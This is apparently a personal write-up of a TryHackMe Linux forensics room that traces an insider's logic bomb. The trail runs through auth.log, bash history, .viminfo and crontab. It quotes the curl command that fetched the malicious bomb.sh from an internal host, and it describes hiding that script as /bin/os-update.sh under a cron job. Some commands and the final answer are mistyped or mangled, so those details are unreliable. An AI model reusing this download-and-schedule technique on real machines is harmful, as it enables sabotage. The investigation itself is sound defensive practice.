## Linux Forensics - Disgruntled "Logic Bomb"

Linux challenge via TryHackme:

In this room, the goal is to investigate an employee from the IT department of a client (CyberT) who was running a phishing operation.

- 1. The user installed a package on the machine using elevated privileges. According to the logs, what is the full COMMAND?
- Using -grep -i COMMAND /var/log/auth.log the answer is:

/usr/bin/apt install dokuwiki

- 2. What was the present working directory (PWD) when the previous command was run?
- Looking further into the auth.log at the previous command, the answer is:

/home/cybert

The disgruntled IT was supposed to only install a service on this computer, so look for commands that are unrelated to that.

- 1. Which user was created after the package from the previous task was installed?
- Further looking at the command log, the answer is:

it-admin

- 2. A user was then later given sudo privileges. When was the sudoers file updated?
- In the command log, I searched for /etc/sudoers to find the timestamp:

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- 3. A script file was opened using the "vi" text editor. What is the name of this file?
- Still in the command log, I look for vi in the command log to find the answer:

bomb.sh

While a file is already incriminating in itself, we still need to find out where it came from and what it contains. The problem is that the file does not exist anymore.

- 1. What is the command used that created the file bomb.sh?
- Looking at the ".bash\_history" found in the home directory of *it-admin* using cat, the answer is:

curl 10.10.158.38:8080/bomb.sh -output bomb.sh

(note that Is -a will show hidden files, as Is will not print anything)

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- 2. The file was renamed and moved to a different directory. What is the full path of this file now?
- I used cat on .viminfo to find the answer:

#### /bin/os-update.sh

- 3. When was the file from the previous question last modified?
- I used the command Is -al --full-time on the previous file *os-update.sh* to find the answer:

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- 4. What is the name of the file that will get created when the file from the first question executes?
- Again, using cat on os-update.sh gave me the answer:

### goodbye.txt

So we have a file and a motive. The question we now have is: how will this file be executed? Surely, he wants it to execute at some point?

- 1. At what time will the malicious file trigger?
- Navigating to /etc/crontab and using cat once again, I find the malicious filename and pulled the schedule expression 0 8 \* \* \* and then used the website <a href="https://crontab.guru">https://crontab.guru</a> to convert for the answer:

#### **MA 00:80**

This room was pretty easy overall and I didn't need any walkthroughs for reference, plus it was good practice on some basic linux forensics. Thank you!